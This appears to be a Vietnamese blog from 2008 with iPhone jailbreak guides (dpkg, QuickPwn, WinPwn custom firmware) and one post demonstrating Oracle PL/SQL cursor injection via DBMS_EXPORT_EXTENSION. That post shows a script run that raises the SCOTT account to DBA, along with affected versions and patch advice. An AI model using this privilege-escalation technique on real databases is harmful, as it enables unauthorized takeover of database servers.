Thursday, November 27, 2008
Hướng dẫn cài đặt file deb cho iphone
2- Copy file .deb vào đường dẫn /tmp ( thực ra chỗ nào cũng được ) sau đó dùng winspc no wifi hoặc iPhone Tunnel (Terminal) vào Console ( fím tắt Ctrl+T) rồi đánh lệnh sau :
dpkg -i tên chương trình.deb
vd
dpkg -i Teleport.deb
3- Reboot máy -> chương trình sẽ có trong cydia , nếu muốn xóa nó đj các bạn vào cydia unstall nó đi là xong !
Wednesday, November 26, 2008
WinAdmin - Điều khiển máy tính từ xa cho iphone

Ứng dụng mô tả
Tuesday, November 25, 2008
Hướng dẫn cách jailbreak (no unlock) iphone 3g firmware 2.2 bằng Quickpwn cho Windows
của Quickpwn (không cập nhật cho cái baseband) chứ không nên update trực tiếp lên firmware 2.2 bằng iTunes điều đó sẽ gây rắc rối cho những phần mềm trong iphone của bạn sau này. Hãy luôn cập nhật tin tức.
"Đây là những hướng dẫn về cách jailbreak firmware 2.1-2.2 cho iPhone 3G bằng cách sử dụng QuickPwn cho Windows. Trước khi bắt đầu hãy chắc chắn bạn đã cập nhật để iTunes 8.0.2.
Về iTunes xem tại đây.
***Điều Quan trọng: ".... Bằng cách sử dụng QuickPwn với Firmware 2.2 có thể làm giảm cơ hội unlock iPhone 3G của bạn"
Download Microsoft .Netframework tại đây
Bước 1:
Tạo 1 thư mục đặt tên là Pwnage trên desktop của bạn.
Download những file sau và để vào thư mục Pwnage bạn vừa tạo:
- QuickPwn 2.2
- 2.2.0 (3G): iPhone1,2_2.2_5G77_Restore.ipsw
Giải nén file QuickPwn21-1.zip trong thư mục Pwnage.

Bước 2:
Kết nối iphone với mày tính và chạy iTunes.

Chọn iphone của bạn từ danh sách phía bên trái. Bây giờ giữ bút shift và click vào nút Restore. Nó Restore lại firmware và sẽ không tạo bất kỳ khoảng không lãng phí cho bộ nhớ iphone của bạn.

Đến thư mục Pwnage trên desktop và chọn firmware 2.2. Click nút Open để tiếp tục.

Bước 3:
Sau khi hoàn tất itunes sẽ cập nhật cho iPhone firmware 2.2 bạn có thể chạy QuickPwn.exe từ thư mục Pwnage trên destop.

Bước 4:
Hãy chắc chắn iphone của bạn đã kết nối với máy tính and click vào nút mũi tên xanh để tiếp tục.

Bước 5:
Click vào nút Browse để đến với firmware iphone.

Bước 6
Chọn firmware 2.2 trong thư mục Pwnage trên desktop sau đó click the nút Open.

Bước 7:
QuickPwn sẽ kiểm tra để chắc chắn firmware hợp lệ. Click vào nút mũi tên xanh để tiếp tục.

Bước 8:
Bây giờ bạn có thể chọn để thêm vào trình Cydia, Installer, hay thay đổi Boot Logos. Chọn cái mà bạn muốn thêm vào sau đó click vào nút mũi tên xanh.

Bước 9:
QuickPwn sẽ hỏi bạn để xác nhận iPhone của bạn đã kết nối qua USB trước khi tiếp tục. Click vào nút mũi tên xanh để tiếp tục.

Bước 10:
Bây giờ QuickPwn sẽ tự động đưa iPhone vào chế độ recovery mode. Sau khi ở chế độ recovery mode bạn sẽ được nhắc nhở: giữ nút Home trong 5 giây, giữ cùng lúc 2 nút Home và Power trong 10 giây, sau đó nhả nút Power và tiếp tục giữ nút Home cho đến khi iphone ở chế độ DFU mode.
Xem kĩ những nhắc nhở và làm theo đến khi thành công.

Bước 11:
Sau khi QuickPwn nhận iPhone của bạn ở DFU mode nó sẽ bắt đầu quá trình jailbreak.

Bước 12:
Sau khi jailbreak hoàn tất QuickPwn sẽ báo cho bạn là đã thành công.

Chèn mã SQL, PL/SQL đoạt quyền DBA với DBMS_EXPORT_EXTENSION
Giới thiệu
Trong lĩnh vực bảo mật thông tin, kỹ thuật chèn mã SQL khá phổ biến đối với những người quan tâm về bảo mật, và ở Việt Nam kỹ thuật này thường được ứng dụng cho những Cơ sở dữ liệu đơn giản, ít được sử dụng tại các doanh nghiệp lớn như SQL Server, MySQL. Vì lý do này, tính nguy hiểm của chèn mã SQL vẫn chưa được đánh giá đúng mức tại Việt Nam. Đối với Cơ sở dữ liệu Oracle (Oracle Database), kỹ thuật này được biến đổi khá đa dạng và nguy hiểm, cho phép một tài khoản với quyền hạn thấp có thể tùy biến nâng, đoạt được quyền quản trị DBA theo nhiều cách khác nhau, giúp tin tặc có thể điều khiển toàn hệ thống máy chủ Oracle. Bài viết này sẽ minh họa mã khai thác điểm yếu chèn mã SQL, PL/SQL đối với gói lệnh sẵn có DBMS_EXPORT_EXTENSION.
Gói lệnh sẵn có DBMS_EXPORT_EXTENSION của Oracle Database, mặc định cho phép bất kì tài khoản nào trong Oracle cũng có thể truy cập.
Mã minh họa
Để minh họa kỹ thuật chèn mã vào gói DBMS_METADATA, chúng ta sẽ dùng File mã lệnh dbms_exp_ext_c_local.sql: File lệnh này sử dụng kỹ thuật chèn mã con trỏ nên cho phép một tài khoản bất kì chỉ có quyền CREATE SESSION có thể nâng quyền thành DBA.
(Nhằm mục đích minh họa, File lệnh này áp dụng cho kết nối đến Oracle Database cụ thể)
Mặc định tài khoản SCOTT được gán 2 nhóm quyền CONNECT, RESOURCE, ứng với các quyền đơn lẻ sau:
F:\demo>sqlplus scott/tiger
SQL*Plus: Release 9.2.0.1.0 - Production on Mon Oct 20 08:35:25 2008
Copyright (c) 1982, 2002, Oracle Corporation. All rights reserved.
Connected to:
Oracle9i Enterprise Edition Release 9.2.0.1.0 - Production
With the Partitioning, OLAP and Oracle Data Mining options
JServer Release 9.2.0.1.0 - ProductionSQL> SELECT * FROM user_role_privs;
USERNAME GRANTED_ROLE ADM DEF OS_
------------------------------ ------------------------------ --- --- ---
SCOTT CONNECT NO YES NO
SCOTT RESOURCE NO YES NO2 rows selected
Thực hiện File mã lệnh sau để nâng quyền tài khoản SCOTT thành DBA:
SQL> @dbms_exp_ext_c_local.sql
dbms_exp_ext_c: Release 1.0 - Production on Tue Oct 20 08:38:38 2008
Copyright (c) 2008 WWW.VIETPACE.COM Limited. All rights reserved.USERNAME TO CHECK [SCOTT]:
PRIVS CONTROL Grant/Revoke [G]:--- CHECK CURSOR INJECTION
--- WE GOT THE POWAH!!PL/SQL procedure successfully completed.
For updates please visit WWW.VIETPACE.COM | WWW.BAOMATORACLE.COM
Tài khoản SCOTT đã nâng quyền lên thành DBA:
SQL> SELECT * FROM user_role_privs;
USERNAME GRANTED_ROLE ADM DEF OS_
------------------------------ ------------------------------ --- --- ---
SCOTT CONNECT NO YES NO
SCOTT DBA NO YES NO
SCOTT RESOURCE NO YES NO3 rows selected.
Để gỡ quyền DBA khỏi tài khoản SCOTT, chúng ta làm như sau:
SQL> @dbms_exp_ext_c_local.sql
dbms_exp_ext_c_local: Release 1.0 - Production on Mon Oct 20 08:58:57 2008
Copyright (c) 2008 WWW.VIETPACE.COM Limited. All rights reserved.USERNAME TO CHECK [SCOTT]:
PRIVS CONTROL Grant/Revoke [G]: R--- REVOKING DBA FROM SCOTT...
--- DONE!PL/SQL procedure successfully completed.
For updates please visit WWW.VIETPACE.COM | WWW.BAOMATORACLE.COM
SQL>
Tài khoản SCOTT chỉ còn 2 nhóm quyền như lúc đầu:
SQL> SELECT * FROM user_role_privs;
USERNAME GRANTED_ROLE ADM DEF OS_
------------------------------ ------------------------------ --- --- ---
SCOTT CONNECT NO YES NO
SCOTT RESOURCE NO YES NO2 rows selected.
Phiên bản ảnh hưởng
- Oracle Database 9.2.0.1, 9.2.0.4, 9.2.0.6, 9.2.0.8
- Oracle Database 10.1.0.3, 10.2.0.1
Giải pháp khắc phục
Để khắc phục lỗi này, người sử dụng cần cập nhật bản vá lỗi mới nhất cho hệ thống Oracle Database sớm nhất. Tuy nhiên việc cập nhật bản vá lỗi không đúng cách có thể khiến hệ thống Oracle Database không thể hoạt động được nữa.Vì vậy cần kiểm thử nhiều lần trước khi thực hiện vá lỗi,Hướng dẫn tạo Custom firmware cho Iphone
Tạo một folder trên Desktop lấy tên là Pwnage,để vào folder đó Winpwn 2.0.0.4 hoặc Winpwn 2.0.0.4 và firmware 2.0 mới nhất .
Bước 2:
Install WinPwn bằng cách extract file zip download ở bước 1 và chạy phần setup.Khi WinPwn đã được install,nó sẽ hiện lên icon shortcut trên Desktop của bạn.Click đúp để chạy ứng dụng.

Bước 3:
Khi WinPwn được mở,click nút Browse .ipsw

Bước 4:
Xác định file firmware 2.0(iPhone1,2_2.0.1_5B108_Restore.ipsw) từ folder Pwnage trên Desktop và click Open.

Bước 5:
WinPwn sẽ kiểm tra firmware để chắc chắn rằng nó có hiệu lực.Giờ thì click nút IPSW Builder.

Bước 6:
Cửa sổ IPSW Builder sẽ hiển thị tab Applications.Tick chọn Cydia và nếu bạn không thuộc AT&T,tích chọn YouTube Fix.

Bước 7:
Click chọn tab Custom Images.Từ đây,bạn có thể chọn các boot image của riêng mình.

Hãy nhớ các quy định cho chúng:RGB hoặc Greyscale format với Alpha channel và độ phân giải dưới 320x480...Nếu bạn muốn dùng Boot Logo và Recovery Logo của iClarified,có thể thấy ở đây :Boot Logo, Recovery Logo

Bước 8:
Click chọn tab Custom Payload .Từ tab này,bạn có thể chọn custom payload mà bạn đã tạo để tự động install.Chúng tôi sẽ thảo luận về nó trong hướng dẫn sau.

*****VỚI THE PARTITION SIZER, CHỈNH NÓ Ở MỨC 512MB!!! NẾU BẠN KHÔNG CHỈNH NÓ VÀO KHOẢNG 500MB,NÓ SẼ KHÔNG HOẠT ĐỘNG*****
Bước 9:
Click chọn tab Advanced .Tick chọn: Activate Phone.

Bước 10:
Click nút Build .ipsw ở góc dưới bên trái để tạo dựng file custom ipsw firmware.Đưa đến folder Pwnage và click nút Save.

Bước 11:
Khi WinPwn đã tạo xong custom firmware của bạn,click nút iPwner từ menu chính.


Bước 12:
Chọn file custom firmware mà ta vừa tạo từ folder Pwnage trên Desktop và click nút Open.

Bước 13:
Sau đó,bạn sẽ được thông báo rằng iTunes đã Pwned.

Bước 14:
Tiếp theo,ta cần để iPhone sang chế độ DFU và restore sử dụng iTunes.Để chuyển iPhone sang chế độ DFU,làm theo các hướng dẫn Này
Bước 15:
iTunes sẽ nhắc nhở : bạn đang ở chế độ Recovery( recovery mode).

Giữ phím Shift và click nút Restore trong iTunes.

Một cửa sổ popup sẽ hiện lên yêu cầu chọn firmware của bạn.Chọn file Custom firmware đã lưu trong folder Pwnage và click nút Open.

Giờ thì iPhone của bạn sẽ được restore để jailbreak 2.0 firmware!